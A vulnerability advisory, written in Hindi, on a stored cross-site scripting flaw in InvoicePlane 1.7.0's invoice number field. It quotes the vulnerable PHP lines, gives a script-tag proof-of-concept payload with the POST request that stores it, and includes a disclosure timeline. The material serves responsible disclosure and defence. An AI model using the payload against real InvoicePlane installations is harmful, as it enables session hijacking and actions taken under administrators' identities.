
InvoicePlane 1.7.0 में असंसाधित इनवॉइस नंबर फ़ील्ड के माध्यम से संग्रहीत XSS भेद्यता, प्रमाण-अवधारणा और उपचार विवरण के साथ।
भेद्यता: इनवॉइस नंबर फ़ील्ड के माध्यम से संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
उत्पाद: InvoicePlane
प्रभावित संस्करण: 1.7.0 (और संभवतः पिछले संस्करण)
गंभीरता: मध्यम
CVSS 3.1 स्कोर: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन
खोजकर्ता: लियोनिडास अगाथोस
रिपोर्ट दिनांक: 2026-01-31
इनवॉइस फ़ॉर्म में invoice_number फ़ील्ड बिना सैनिटाइज़ेशन के मनमाना इनपुट स्वीकार करता है। मान को कई स्थानों पर संग्रहीत और बिना एन्कोडिंग के प्रस्तुत किया जाता है: इनवॉइस दृश्य पृष्ठ शीर्षक, इनवॉइस नंबर इनपुट फ़ील्ड, और डैशबोर्ड के हालिया इनवॉइस विजेट में। पेलोड तब सक्रिय होता है जब कोई भी व्यवस्थापक प्रभावित इनवॉइस देखता है या डैशबोर्ड पर जाता है।
भेद्य फ़ाइलें:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Line 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Line 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Line 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
चरण 1 — इनवॉइस नंबर में पेलोड इंजेक्ट करें
/index.php/invoices/form/{id} पर एक इनवॉइस बनाएं या संपादित करें और इनवॉइस नंबर को इस प्रकार सेट करें:
<script>alert("XSS in Invoices")</script>
अनुरोध:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

चरण 2 — XSS ट्रिगर करें
/index.php/invoices/view/{id} या /index.php/dashboard पर नेविगेट करें। पेलोड पृष्ठ लोड होने पर सक्रिय हो जाता है।

पेलोड किसी भी व्यवस्थापक के ब्राउज़र में निष्पादित होता है जो प्रभावित इनवॉइस देखता है या डैशबोर्ड पर जाता है। यह सत्र अपहरण (यदि कुकीज़ HttpOnly नहीं हैं), CSRF टोकन चोरी, और पीड़ित की पहचान के तहत किए गए कार्यों को सक्षम बनाता है।
| दिनांक | घटना |
|---|---|
| 2026-01-30 | भेद्यता की खोज की गई |
| 2026-01-31 | प्रमाण की अवधारणा विकसित की गई |
| 2026-01-31 | विक्रेता को सूचित किया गया |
| 2026-02-04 | विक्रेता की स्वीकृति |
| 2026-02-04 | पैच जारी किया गया |
| 2026-02-05 | सार्वजनिक प्रकटीकरण |
यह भेद्यता स्वतंत्र सुरक्षा अनुसंधान के दौरान खोजी गई थी। सभी जानकारी केवल शैक्षिक, अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है ताकि विक्रेता और सुरक्षा समुदाय को समस्या को समझने और ठीक करने में सहायता मिल सके। इस जानकारी का कोई भी दुर्भावनापूर्ण उपयोग सख्त वर्जित है।